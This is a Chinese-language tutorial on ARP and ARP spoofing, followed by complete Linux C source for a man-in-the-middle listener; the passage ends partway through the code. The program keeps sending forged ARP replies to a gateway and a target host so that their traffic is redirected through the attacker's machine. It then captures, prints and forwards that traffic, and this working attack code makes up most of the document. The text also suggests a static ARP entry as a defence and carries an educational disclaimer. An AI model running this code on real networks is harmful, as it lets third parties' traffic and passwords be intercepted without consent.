网络协议学习之局域网监听技术

ARP即地址解析协议,用于处理主机之间获取MAC地址与IP地址的映射问题。

    若主机A和主机B通讯。当A主机网络层数据交给数据链路层时,数据就被数据链路层封装为MAC帧,MAC帧需要知道目的主机B的MAC地址。
于是在目的B的MAC未知的情况下,A主机数据链路层会向局域网广播一个ARP广播,广播的内容类似于"请问ip地址为aaaa的主机是谁,
请告诉我(IP bbbb,MAC bbbbbb)你的MAC地址",以寻求目的主机的MAC地址,目的主机收到ARP请求报文后,若发现是询问自己的硬件地
址,那么该主机首先会将源主机的MAC-IP记录在自己的ARP告诉缓存表中,然后向请求主机发送一份ARP单播应答报文,内容类似于"我是
aaaa,我的MAC是aaaaaa"。源主机A收到应答后遍得到了B的硬件地址,于是将B的MAC-IP存入自己的ARP高速缓存中,以便下次使用,然后
主机A用该硬件地址填充数据帧的相应部分,再将该帧数据发送出去。

    这便是一个描述ARP协议的大致过程,其细节后面的文章会讲解。
关于ARP缓存更新的条件,前面一篇《ARP缓存表的更新条件》已经介绍过。本文接下来介绍的是一种基于ARP协议的局域网监听技术。
主机在接收到请求或者应答的时候都可能添加或者更新ARP条目,若通过给目的主机发送错误的ARP请求或者应答那么目的主机将会保存
着错误的ARP条目,这样一来,将会导致目的主机的通讯受阻甚至被发送到错误的主机上,ARP欺骗攻击由此而来。ARP欺骗的手段有很多,有的可以使某一台计算机无法上网,或者整个局域网的主机都无法上网,有的可以截获用户密码,如FTP用户名与口令,有的可以DNS劫持,用户访问的网站域名被重定向到一个钓鱼网站等等。

    ARP攻击的危害性很大,目前为止没有一个完美的解决方案来处理ARP攻击,但是当您发现自己被攻击时,如主机与网关断开了,则可以通过一条简单的命令来恢复上网,即设置静态ARP条目:
    arp -s x.x.x.x xx:xx:xx:xx:xx:xx
x.x.x.x是网关IP,xx:xx:xx:xx:xx:xx是网关mac地址,静态的arp条目是不会被更新的。

    下面这个程序演示了通过给网关G和局域网内一台主机A发送错误的ARP请求或者应答报文,使之保存错误的ARP条目,二者之间的流量被重定位到另一台主机B,该主机可以分析网关G与主机A的数据,从而实现数据监听。该程序还能转发网关与主机A之间的数据,使二者之间的通讯不中断。

/* 声明:
 *     本程序使用Linux原始套接字,抓取数据链路层数据帧,实现监听截获局域网内两台主机之间或者局域
 * 网内一台主机与网关之间的通讯,并实现数据转发功能,主要用于网络抓包技术及网络通讯协议的学习、实践。
 * 您可以自由的使用,复制,修改和重新发布程序的源代码,但不提倡用于非法目的,如将本程序完善以用用盗
 * 取密码等机密信息。因非法使用本程序源码造成的后果,您应该独立承担法律责任。
 * 作者:Shifang Wen
 * 邮箱:772148609@qq.com
 * 最后修改时间:2014.6.11
 */

#makefile for listener.
main:main.o arp.o ip.o tcp.o udp.o
    cc -lpthread -o main main.o arp.o ip.o tcp.o udp.o
main.o:main.c header.h ip.h tcp.h udp.h
    cc  -c main.c
arp.o:arp.c header.h
    cc -Wall -c arp.c
ip.o:ip.c header.h ip.h
    cc -Wall -c ip.c
tcp.o:tcp.c header.h tcp.h
    cc -Wall -c tcp.c
udp.o:udp.c header.h udp.h
    cc -Wall -c udp.c

clean:
    rm *.o

/** header file for main.c
 *  this file include the system header file neccessarily.
 *  2014.5.25
 */

#ifndef _HEADER_FILE
#define _HEADER_FILE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <error.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <linux/tcp.h>
#include <netpacket/packet.h>
#include <net/if_arp.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <pthread.h>
#include <signal.h>

#endif
/*
 * header file for ip.c
 * 2014.5.16
 */

#ifndef _IP_H
#define _IP_H

struct _ip                // IP报头结构(字节顺序为小端)
{
    unsigned char ihl:4;        // 首部长度
    unsigned char version:4;    // 协议版本
    unsigned char ser_type;        // 服务类型
    unsigned short total_len;    // 总长度
    unsigned short id;        // 分段标识
    unsigned short frag_off;    // 分段偏移
    unsigned char ttl;        // 生存时间
    unsigned char protocol;        // 上层协议
    unsigned short check;        // 检验和
    unsigned char saddr[4];        // 源IP
    unsigned char daddr[4];        // 目的IP
}__attribute__((packed));



extern void print_ip_header(const struct _ip* ptr_ip);

#endif   
/**
 * source file ip.c,provide some moth to print ip header info.
 * 2014.5.29
 */

#include "header.h"
#include "ip.h"

/**
 * 打印 IP 包头部字段
 * 参数表:
 * ip 指向ip首部的指针
 * 返回值:无
 */
void print_ip_header(const struct _ip * ip)
{
    printf("-----ip header-----------------------------\n");

    printf("ip version    :%x\n",ip->version);
    printf("ip header len   :%x\n",ip->ihl);
    printf("ip total_len    :%u\n",ntohs(ip->total_len));
    printf("id        :%u\n",ntohs(ip->id));
    printf("protocol    :%u\n",ip->protocol);
    printf("check        :%u\n",ip->check);
    printf("%d.%d.%d.%d ---->  ",ip->saddr[0],ip->saddr[1],ip->saddr[2],ip->saddr[3]);
    printf("%d.%d.%d.%d.\n",ip->daddr[0],ip->daddr[1],ip->daddr[2],ip->daddr[3]);
}
/**
 * 声明一个函数,该函数用户打印arp数据帧的各个字段值。
 * 2014.6.6
 */

#ifndef _ARP_H

#include "header.h"

#define arpsha arp->arp_sha
#define arpspa arp->arp_spa
#define arptha arp->arp_tha
#define arptpa arp->arp_tpa

extern void  print_arp_packet(const struct ether_arp*);

#endif
/**
 * 定义一个函数,该函数用户打印arp数据帧的各个字段值。
 * 2014.6.6
 */

#include "header.h"
#include "arp.h"

void print_arp_packet(const struct ether_arp * arp)
{
    printf("----arp packet--------------------\n");
   
    printf("arp ar_hdr    : %u\n",ntohs(arp->ea_hdr.ar_hrd));
    printf("arp ar_pro     : %.4x\n",ntohs(arp->ea_hdr.ar_pro));
    printf("arp ar_hln    : %u\n",arp->ea_hdr.ar_hln);
    printf("arp ar_pln    : %u\n",arp->ea_hdr.ar_pln);
    printf("arp ar_op_type  : %.2x\n",ntohs(arp->ea_hdr.ar_op));
    printf("arp sha        : %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",arpsha[0],arpsha[1],arpsha[2],arpsha[3],arpsha[4],arpsha[5]);
    printf("arp spa        : %d.%d.%d.%d\n",arpspa[0],arpspa[1],arpspa[2],arpspa[3]);
    printf("arp tha        : %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",arptha[0],arptha[1],arptha[2],arptha[3],arptha[4],arptha[5]);
    printf("arp tpa        : %d.%d.%d.%d\n",arptpa[0],arptpa[1],arptpa[2],arptpa[3]);
}

/**
 * headar file for udp.c
 * 2014.5.28
 */

#ifndef _UDP_H
#define _UDP_H

struct _udp
{
    unsigned short source_port;    // 16位源端口
    unsigned short dest_port;    // 16位目的端口
    unsigned short packet_len;    // 16位报文长度
    unsigned short check_sum;    // 16位检验和
}__attribute__((packed));

extern void print_udp_header(const struct _udp * ptrdup);

#endif
/**
 * source file .
 * 2014.5.28
 */

#include "header.h"
#include "udp.h"

void print_udp_header(const struct _udp* ptrudp)
{
    printf("----udp header----\n");
    printf("source port     :%u\n",ntohs(ptrudp->source_port));
    printf("dest   port     :%u\n",ntohs(ptrudp->dest_port));
    printf("packet_len    :%u\n",ntohs(ptrudp->packet_len));
    printf("check_sum    :%u\n",ntohs(ptrudp->check_sum));
}

/*
 * header file that define tcp protocol header.
 * 2014.5.20
 */

#ifndef _TCP_H
#define _TCP_H

struct _tcp
{
    unsigned short source_p;    // 16位源端口
    unsigned short dest_p;        // 16位目的端口
    unsigned int seq;        // 32位序列列号
    unsigned int ack_seq;        // 32位确认号
    unsigned short res1:4;        // 4位保留
    unsigned short h_length:4;    // 4位首部长度
    unsigned short fin:1;        // 释放TCP连接位
    unsigned short syn:1;        // 同步序号,用于发起连接
    unsigned short rst:1;        // 重置或者拒绝一个连接
    unsigned short psh:1;        // 若被置位则数据立即交付,无需缓冲
    unsigned short ack:1;        // 若被置一表明ack_seq有效
    unsigned short urg:1;        // 若被置一表明紧急指针有效
    unsigned short res:2;        // 2位保留位
    unsigned short window;        // 16位窗口大小
    unsigned short check;        // 16位TCP报文检验和
    unsigned short urg_ptr;        // 16位紧急指针
}__attribute__((packed));

extern void print_tcp_header(const struct _tcp *tcp);

#endif
/**
 * source tcp.h
 * use to print tcp header structure.
 * 2014.5.26
 */

#include "header.h"
#include "tcp.h"

void print_tcp_header(const struct _tcp *tcp)
{
    printf("-----tcp header----------------\n");   
    printf("source port     :%u\n",ntohs(tcp->source_p));
    printf("destinator port :%u\n",ntohs(tcp->dest_p));
    printf("seq        :%u\n",ntohl(tcp->seq));
    printf("ack_seq            :%u\n",ntohl(tcp->ack_seq));
    printf("header length   :%u\n",tcp->h_length);
    printf("urg        :%u\n",tcp->urg);
    printf("ack        :%u\n",tcp->ack);
    printf("psh         :%u\n",tcp->psh);
    printf("rst        :%u\n",tcp->rst);
    printf("syn        :%u\n",tcp->syn);
    printf("fin        :%u\n",tcp->fin);
    printf("window        :%u\n",ntohs(tcp->window));
    printf("check        :%u\n",ntohs(tcp->check));
    printf("urg_ptr        :%u\n",ntohs(tcp->urg_ptr));
}

/**
 * 程序主文件。
 */

#include "header.h"                    // 必要系统头文件
#include "arp.h"                    // 自定义ARP头文件
#include "ip.h"                        // 自定义IP头文件
#include "tcp.h"                    // 自定义TCP头文件
#include "udp.h"                    // 自定义UDP头文件

#define ETHER_BUF_LEN    60                // 不含CRC的以太网最小帧长度
#define BUFLEN 1500                    // MTU
#define INTER_LEN 32                    // 存放网络接口卡名称的缓冲区长度值
#define ethd eth->ether_dhost                // struct ether_header结构成员宏定义
#define eths eth->ether_shost
#define _DEBUG    1                    // 调试
/**
 * 线程参数结构
 */
struct thread_args{
    unsigned char interface_name[INTER_LEN];    // 网络接口名称
    unsigned char target_ip1[17];            // 目标机1的点分十进制的ip字串
    unsigned char target_ip2[17];            // 目标机2的点分十进制的ip字串
    unsigned char target_mac1[ETH_ALEN];        // 目标机1的mac地址
    unsigned char target_mac2[ETH_ALEN];        // 目标机2的mac地址
};

/**
 * 函数参数结构
 */
struct args{
    unsigned char src_mac[ETH_ALEN];        // 源mac
    unsigned char src_ip[4];            // 源IP
    unsigned char dst_ip[4];            // 目的IP
};

/**
 * 全局变量,主要是信号处理函数使用。
 */
unsigned char global_mac1[6],global_mac2[6],global_ip1[17],global_ip2[17];
unsigned char ifname[64];
int thread_stop = 0;

/**
 * struct ether_arp结构字段宏定义,简化访问。
 */
#define arpsha arp->arp_sha
#define arpspa arp->arp_spa
#define arptha arp->arp_tha
#define arptpa arp->arp_tpa

/**
 * 打印以太网帧头部字段。
 * 参数表:
 * buffer;指向以太网帧首部的指针。
 * 返回值:无。
 * 2014.5.26
 */
void print_ether_header(const char *buffer)
{
    struct ether_header *eth = (struct ether_header*) buffer;
   
    printf("-----ether frame header-------------\n");
    printf("ether_header dst mac: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
    printf("ether_header src mac: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
    printf("ether_header    type: %.4x\n",ntohs(eth->ether_type));
}


/**
 * 功能:查看接收到的报文是否是arp报文,且是对本次请求的应答报文。
 * 参数表:
 * args_ptr:包含本地地址信息。
 * arp: 存放接收到的arp报文缓冲区指针。
 * 返回值:若匹配,返回0,不匹配返回-1.
 * 2014.6.11
 */
int arp_match(struct args*args_ptr,unsigned char *buffer)
{
    struct ether_header * eth = (struct ether_header*) buffer;
    struct ether_arp *arp = (struct ether_arp*)(buffer+sizeof(struct ether_header));
   
    if((ntohs(eth->ether_type) == 0x0806) && (ntohs(arp->ea_hdr.ar_op) == ARPOP_REPLY)){

        if((memcmp(args_ptr->src_mac,arp->arp_tha,ETH_ALEN) == 0)
         &&(memcmp(args_ptr->src_ip,arp->arp_tpa,4) == 0)
         &&(arp->ea_hdr.ar_op == htons(ARPOP_REPLY))){
        #ifdef _DEBUG
            printf("match sucessful\n");
        #endif
            return 0;   
        }
    }

    return -1;
}

/**
 *  发送arp请求获取目标主机的mac地址。
 *  参数表:
 *  net_dev_name:网络接口名称。
 *  remote_ip:要获取mac地址的主机ip地址。
 *  remote_mac:出口参数,若函数成功,该参数被赋值。
 *  返回值:0成功,-1失败。
 */
int get_mac_by_ip(char *net_dev_name,char *remote_ip,char *remote_mac)
{   
    int sockfd,num;
    unsigned char sendbuffer[ETHER_BUF_LEN];
    unsigned char recvbuffer[ETHER_BUF_LEN];
    struct sockaddr_ll to;
    struct ifreq ifr;
    struct in_addr local_addr,target_addr;
    struct args arg;
    struct timeval timeout;
    timeout.tv_usec = 0;
    timeout.tv_sec = 1;
   
    struct ether_header * eth = (struct ether_header *) sendbuffer;   
    struct ether_arp * arp = (struct ether_arp *) (sendbuffer + sizeof(struct ether_header));
    struct ether_header * ethr = (struct ether_header*) recvbuffer;
    struct ether_arp * arpr = (struct ether_arp*) (recvbuffer + sizeof(struct ether_header));

    unsigned char src_mac[ETH_ALEN];
    unsigned char dst_mac[]={0xff,0xff,0xff,0xff,0xff,0xff};
   
    bzero(&to,sizeof(to));
    bzero(&ifr,sizeof(ifr));
    bzero(&local_addr,sizeof(local_addr));
    bzero(&target_addr,sizeof(target_addr));

    strcpy(ifr.ifr_name,net_dev_name);

    sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));

    if(ioctl(sockfd,SIOCGIFINDEX,&ifr) == -1){
        perror("get dev index error");
        exit(1);
    }
   
    /**
      *设置接收超时为1秒
     */
    if(setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&timeout,sizeof(timeout)) == -1){
        perror("setsockopt error");
        exit(1);
    }


    to.sll_ifindex = ifr.ifr_ifindex;
    bind(sockfd,(struct sockaddr*)& to,sizeof(to));
    if(ioctl(sockfd,SIOCGIFADDR,&ifr) == -1){
        perror("get dev ip error");
        exit(1);
    }
   
    local_addr.s_addr = ((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr.s_addr;
    inet_pton(AF_INET,remote_ip,&(target_addr.s_addr));
    printf("target ip :%s\n",inet_ntoa(target_addr));
    printf("local ip address %s\n",inet_ntoa(local_addr));

    if(ioctl(sockfd,SIOCGIFHWADDR,&ifr) == -1){
        perror("get dev mac error");
        exit(1);
    }

    memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
    bind(sockfd,(struct sockaddr*)&to,sizeof(to));
    /**
      * 构造arp 请求包
      */
    memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);
    memcpy(eth->ether_shost,src_mac,ETH_ALEN);
    eth->ether_type = htons(ETHERTYPE_ARP);
   
    arp->arp_hrd = htons(ARPHRD_ETHER);
    arp->arp_pro = htons(ETHERTYPE_IP);
    arp->arp_hln = ETH_ALEN;
    arp->arp_pln = 4;
    arp->arp_op = htons(ARPOP_REQUEST);
    memcpy(arp->arp_sha,src_mac,ETH_ALEN);   
    memcpy(arp->arp_spa,&local_addr,4);
    memset(dst_mac,0,ETH_ALEN);
    memcpy(arp->arp_tha,dst_mac,ETH_ALEN);
    memcpy(arp->arp_tpa,&target_addr,4);

    /**
      * 初始化一个参数结构体成员
      */
    memcpy(&arg.src_mac,src_mac,ETH_ALEN);
    memcpy(&arg.src_ip,&local_addr,4);
    memcpy(&arg.dst_ip,&target_addr,4);

    int count = 0,recv_try = 0,found = 0;
    /**
      * 最多尝试十次发送ARP请求报文.
      */
    while(count < 10 && found != 1){
        print_ether_header(sendbuffer);
        print_arp_packet((struct ether_arp*)(sendbuffer+sizeof(struct ether_header)));
        num = sendto(sockfd,sendbuffer,ETHER_BUF_LEN,0,(struct sockaddr*)&to,sizeof(to));
        if(num < 0){
            perror("send error");
            return 1;
        }
        else
            printf("send num = %d count = %d\n",num,count);
        /**
          * 最多尝试5次接收报文,若5次接收的报文不是对应的应答包,则继续发送ARP请求包。
          */
       
        while(recv_try < 5){
            num = recvfrom(sockfd,recvbuffer,ETHER_BUF_LEN,0,NULL,NULL);   
            if(num < 0){
                perror("recv error");
                recv_try ++;
                continue;
            }else
                printf("received %d byte(s) ,recv_try is %d\n",num,recv_try);

            printf("ether_frame header-----------\n");   
            printf("ether dst mac:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
            ethr->ether_dhost[0],ethr->ether_dhost[1],ethr->ether_dhost[2],\
            ethr->ether_dhost[3],ethr->ether_dhost[4],ethr->ether_dhost[5]);
            printf("ether src mac:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
            ethr->ether_shost[0],ethr->ether_shost[1],ethr->ether_shost[2],\
            ethr->ether_shost[3],ethr->ether_shost[4],ethr->ether_shost[5]);
            printf("ether type :%.4x\n",ntohs(ethr->ether_type));
            print_arp_packet((struct ether_arp*)(recvbuffer+sizeof(struct ether_header)));

            if(arp_match(&arg,recvbuffer) == 0){
                memcpy(remote_mac,arpr->arp_sha,ETH_ALEN);
                count++;
                /**
                  * 尝试多次请求应答,测试程序的稳定性.
                  */
                 found = 1;
                 break;
                   
            }
           
            recv_try++;
        }
   
        count++;
        recv_try = 0;
    }   
   
   
    close(sockfd);

    if(found == 1)
        return 0;
           return -1;
 }


/**
 * 线程体,定时向目标IP发送 ARP 欺骗的应答报文。
 * 参数表:struct thread_args结构提指针。
 * 返回值:无。
 * 2014.5.24
 */
void *thread_attack(void* args)
{
    struct thread_args * p = (struct thread_args*) args;
    int socketfd,n;
    struct sockaddr_ll toaddr;
    struct in_addr sockaddr;
    struct ifreq ifr;
    unsigned char buffer[ETHER_BUF_LEN];
    unsigned char src_mac[ETH_ALEN];
    struct in_addr in_addr1,in_addr2;

    struct ether_header * eth = (struct ether_header*) buffer;
    struct ether_arp * arp = (struct ether_arp*) (buffer+sizeof(struct ether_header));

    bzero(&toaddr,sizeof(toaddr));
    bzero(&sockaddr,sizeof(sockaddr));
    bzero(&ifr,sizeof(ifr));
    strcpy(ifr.ifr_name,p->interface_name);
    bzero(&in_addr1,sizeof(in_addr1));
    bzero(&in_addr2,sizeof(in_addr2));
    inet_pton(AF_INET,p->target_ip1,&in_addr1);
    inet_pton(AF_INET,p->target_ip2,&in_addr2);

    socketfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
    if(socketfd == -1){
        perror("thread_attack create socket error");
        exit(1);
    }
   
    if(ioctl(socketfd,SIOCGIFINDEX,&ifr) == -1){
        perror("get interface index error");
        exit(1);
    }

    toaddr.sll_ifindex = ifr.ifr_ifindex;
    toaddr.sll_family = PF_PACKET;
   
    if(ioctl(socketfd,SIOCGIFHWADDR,&ifr) == -1){
        perror("get interface hardware addr error");
        exit(1);
    }
   
    memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);

    while(thread_stop != 1){
        /**
          * 构造以太网头,目标MAC地址为目标主机1的MAC地址,源MAC地址为本机MAC地址。
          */
        memcpy(eth->ether_dhost,p->target_mac1,ETH_ALEN);
        memcpy(eth->ether_shost,src_mac,ETH_ALEN);
        eth->ether_type = htons(ETHERTYPE_ARP);
   
        /**
           * 构造ARP 包
           */
        arp->arp_hrd = htons(ARPHRD_ETHER);
        arp->arp_pro = htons(ETHERTYPE_IP);
        arp->arp_hln = ETH_ALEN;
        arp->arp_pln = 4;
        arp->arp_op = htons(ARPOP_REPLY);
        memcpy(arp->arp_sha,src_mac,ETH_ALEN);
        memcpy(arp->arp_spa,&in_addr2,4);
        memcpy(arp->arp_tha,p->target_mac1,ETH_ALEN);
        memcpy(arp->arp_tpa,&in_addr1,4);       
        /**
           * 发送到目标机1
           */
        n = sendto(socketfd,buffer,ETHER_BUF_LEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));

        if(n < 0){
            perror("sendto");
        }else{
            printf("sendto a attack pakcet to %s\n",inet_ntoa(in_addr1));
        }

        /**
          * 调试代码
          */
        /*
        printf("打印欺骗ARP包:\n");   
        print_arp_packet((struct ether_arp*)(buffer+sizeof(struct ether_header)));
        */
        /**
          * 构造以太网头,目标MAC地址为目标主机2的MAC地址,源MAC地址为本机MAC地址。
          */
        memcpy(eth->ether_dhost,p->target_mac2,ETH_ALEN);
        memcpy(eth->ether_shost,src_mac,ETH_ALEN);
        eth->ether_type = htons(ETHERTYPE_ARP);
   
        /**
           * 构造ARP 包
           */
        arp->arp_hrd = htons(ARPHRD_ETHER);
        arp->arp_pro = htons(ETHERTYPE_IP);
        arp->arp_hln = ETH_ALEN;
        arp->arp_pln = 4;
        arp->arp_op = htons(ARPOP_REPLY);
   
        memcpy(arp->arp_sha,src_mac,ETH_ALEN);
        memcpy(arp->arp_spa,&in_addr1,4);
        memcpy(arp->arp_tha,p->target_mac2,ETH_ALEN);
        memcpy(arp->arp_tpa,&in_addr2,4);       
        /**
           * 发送到目标机2
           */
        n = sendto(socketfd,buffer,ETHER_BUF_LEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));
        if(n < 0){
            perror("sendto");
        }else{
            printf("sendto a attack pakcet to %s\n",inet_ntoa(in_addr2));
        }

        /**
          * 调试代码
          */
        /*
        printf("打印欺骗ARP包:\n");   
        print_arp_packet((struct ether_arp*)(buffer+sizeof(struct ether_header)));
        */
        sleep(1);
    }

    printf("攻击线程以停止。。。+++++++++++++++++++++++++++++++++++++++++++++。\n");
}


/**
 * 数据包转发函数,根据源MAC,目的MAC向指定接口转发该数据包。
 * 参数表:
 * inter:指定的网络接口。
 * dst_mac:目的MAC地址。
 * ip_data:ip数据。
 * send_num:数据包长度。
 * 返回值:成功0,失败-1。
 */
int packet_forwarding(const char *inter,char *dst_mac,const char *ip_data,const int send_num)
{
    char buffer[BUFLEN] = {0};
    int sendfd,num;
    struct sockaddr_ll toaddr;
    struct ifreq ifr;
    struct ether_header * eth = (struct ether_header*) buffer;    /* 指针eth指向以太网首部 */
    memcpy(buffer,ip_data,send_num);
   
    unsigned char local_mac[ETH_ALEN];
    static unsigned int count = 0;
    static unsigned int total_bytes = 0;

    bzero(&toaddr,sizeof(toaddr));
    bzero(&ifr,sizeof(ifr));   
    strcpy(ifr.ifr_name,inter);

    sendfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP));
    if(sendfd == -1){
        perror("packet_forwarding create socket error");
        exit (1);
    }

    if(ioctl(sendfd,SIOCGIFINDEX,&ifr) == -1){
        perror("packet_forwarding get interface index error");
        exit (1);
    }

    toaddr.sll_ifindex = ifr.ifr_ifindex;

    if(ioctl(sendfd,SIOCGIFHWADDR,&ifr) == -1){
        perror("packet_forwarding get interface hardware error");
        exit(1);
    }

    memcpy(local_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
    toaddr.sll_family = AF_PACKET;
   
    /**
      * 修改以太网帧头部目的MAC和源MAC两个字段。
      */
    memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);
    memcpy(eth->ether_shost,local_mac,ETH_ALEN);
    /**
      * 转发IP数据包
      */
    printf("打印转发包数据:\n");
    print_ether_header(buffer);
    print_ip_header((struct _ip *) (buffer+sizeof(struct ether_header)));
    if(((struct _ip*) (buffer+sizeof(struct ether_header)))->protocol == 0x06)
        print_tcp_header((struct _tcp*)(buffer+sizeof(struct ether_header) + sizeof(struct _ip)));
    if(((struct _ip*) (buffer+sizeof(struct ether_header)))->protocol == 0xa1)
        print_udp_header((struct _udp*)(buffer+sizeof(struct ether_header) + sizeof(struct _ip)));
   
    num = sendto(sendfd,buffer,send_num,0,(struct sockaddr*)&toaddr,sizeof(toaddr));
    if(num <= 0){
        perror("packet_forwarding sendto error");
        return -1;
    }

    total_bytes += num;   
    printf("+++++++++++++++++++++++++++++++++++++    packet_forwarding ip packet %d byte(s),"\
         "total %u packet(s),and %u byte(s)\n",num,++count,total_bytes);

    close(sendfd);

    return 0;
}

/**
 * 监听函数,用于截获目标机之间的IP数据报,并调用相关函数执行转发。
 * 参数表:
 * interface_name:网络接口名。
 * target_ip1:目标主机1 IP地址。
 * target_ip2:目标主机2 IP地址。
 * mac1:目标主机1 mac地址。
 * mac2:目标主机2 mac地址。
 * 返回值:无。
 */
int attack_listen(const char *interface_name,char *target_ip1,char *target_ip2,unsigned char *mac1,unsigned char*mac2)
{
    int listenfd,num;
    struct sockaddr_ll fromaddr;
    struct in_addr sockaddr;
    struct ifreq ifr;
    unsigned char buffer[BUFLEN];
    struct ether_header * eth = (struct ether_header*) buffer;
    struct _ip * ip = (struct _ip*) (buffer+sizeof(struct ether_header));
    struct in_addr in_addr1,in_addr2,in_addr_local;
    unsigned char local_mac[ETH_ALEN]={0};

    bzero(&fromaddr,sizeof(struct sockaddr_ll));
    bzero(&sockaddr,sizeof(sockaddr));
    bzero(&ifr,sizeof(ifr));
    strcpy(ifr.ifr_name,interface_name);
    bzero(&in_addr1,sizeof(in_addr1));
    bzero(&in_addr2,sizeof(in_addr2));
   
    inet_pton(AF_INET,target_ip1,&in_addr1);
    inet_pton(AF_INET,target_ip2,&in_addr2);

    listenfd = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_IP));
    if(listenfd == -1){
        perror("thread_attack create socket error");
        exit(1);
    }
   
    if(ioctl(listenfd,SIOCGIFINDEX,&ifr) == -1){
        perror("get interface index error");
        exit(1);
    }
   
    if(ioctl(listenfd,SIOCGIFHWADDR,&ifr) == -1){
        perror("get interface hardware error");
        exit(1);
    }
    memcpy(local_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);

    if(ioctl(listenfd,SIOCGIFADDR,&ifr) == -1){
        perror("get interface addr error");
        exit(1);
    }

    in_addr_local.s_addr = ((struct sockaddr_in *)&(ifr.ifr_addr))->sin_addr.s_addr;

    fromaddr.sll_ifindex = ifr.ifr_ifindex;
    fromaddr.sll_family = PF_PACKET;
    fromaddr.sll_protocol = htons(ETH_P_IP);
    fromaddr.sll_hatype = ARPHRD_ETHER;
    fromaddr.sll_pkttype = PACKET_HOST;
    fromaddr.sll_halen = ETH_ALEN;

    bind(listenfd,(struct sockaddr*)&fromaddr,sizeof(struct sockaddr));
    printf("\n");
    while(1){
        memset(buffer,0,BUFLEN);
        num = recvfrom(listenfd,buffer,BUFLEN,0,NULL,NULL);
       
        /*printf("\nread %d bytes------------------\n",num);
        printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x--->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
        printf("  %.2x:%.2x:%.2x:%.2x:%.2x:%.2x   ",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
        printf("type %.4x\n",ntohs(eth->ether_type));*/
        if(ntohs(eth->ether_type) ==  0x0800){
            /*
              * 若接收到一个目的mac地址为本机, 源mac是主机一或者主机2,且目的IP不是本机的数据包,则,转发它。
              */

            if((memcmp(ethd,local_mac,ETH_ALEN) == 0) && (memcmp(ip->daddr,&in_addr_local,4) != 0)){
                if(memcmp(eths,mac1,ETH_ALEN) == 0 ){
                    printf("+++++++++++++++++++++++++++++++++++++++++         ");
                    printf("need to transfer a packet.!\n");
                    printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ---->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
                    printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x:\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
                    packet_forwarding(interface_name,mac2,buffer,num);
                }
                if(memcmp(eths,mac2,ETH_ALEN) == 0){
                    printf("+++++++++++++++++++++++++++++++++++++++++         ");
                    printf("need to transfer a packet.!\n");
                    printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ---->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
                    printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x:\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
                    packet_forwarding(interface_name,mac1,buffer,num);
                }
            }else
                printf("needless forwarding this packet------------------\n");
        }
    }


    return 0;
}

/**
 * SIGINT 信号处理函数,处理键盘Ctrl+C组合键。
 * 当按下Ctrl+C时,需要恢复两台目标主机正确的ARP缓存表,然后再退出本程序。
 * 说明,两种方式恢复,一是使用应答方式,二是是用请求方式,程序使用应答
 * 方式,但该函数没有成功,目标机没能更新到正确ARP缓存,尚未确定问题所在。
 * 2014.6.5
 */
void quit_handler(int signum)
{
    int sockfd;
    struct sockaddr_ll toaddr;
    struct ifreq ifr;
    unsigned char  buffer1[ETHER_BUF_LEN] = {0};   
    unsigned char  buffer2[ETHER_BUF_LEN] = {0};   
    struct in_addr in_addr1,in_addr2;

    bzero(&toaddr,sizeof(toaddr));
    bzero(&ifr,sizeof(ifr));
    bzero(&in_addr1,sizeof(in_addr1));
    bzero(&in_addr2,sizeof(in_addr2));
    inet_pton(AF_INET,global_ip1,&in_addr1);
    inet_pton(AF_INET,global_ip2,&in_addr2);
    strcpy(ifr.ifr_name,ifname);
   
    sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
    if(sockfd == -1){
        perror("socket error");
        exit (1);
    }
   
    if(ioctl(sockfd,SIOCGIFINDEX,&ifr) == -1){
        perror("quit_handler get interface index error");
        exit (1);
    }

    toaddr.sll_ifindex = ifr.ifr_ifindex;
    toaddr.sll_family = PF_PACKET;
    toaddr.sll_protocol = htons(ETH_P_ARP);
    toaddr.sll_hatype = ARPHRD_ETHER;
    toaddr.sll_pkttype = PACKET_HOST;
    toaddr.sll_halen = ETH_ALEN;

    if(bind(sockfd,(struct sockaddr*)&toaddr,sizeof(toaddr)) == -1){
        perror("bind error");
        exit(1);
    }
    /**
      * 构造第一个arp报文
      */   
    struct ether_header * eth = (struct ether_header*) buffer1;
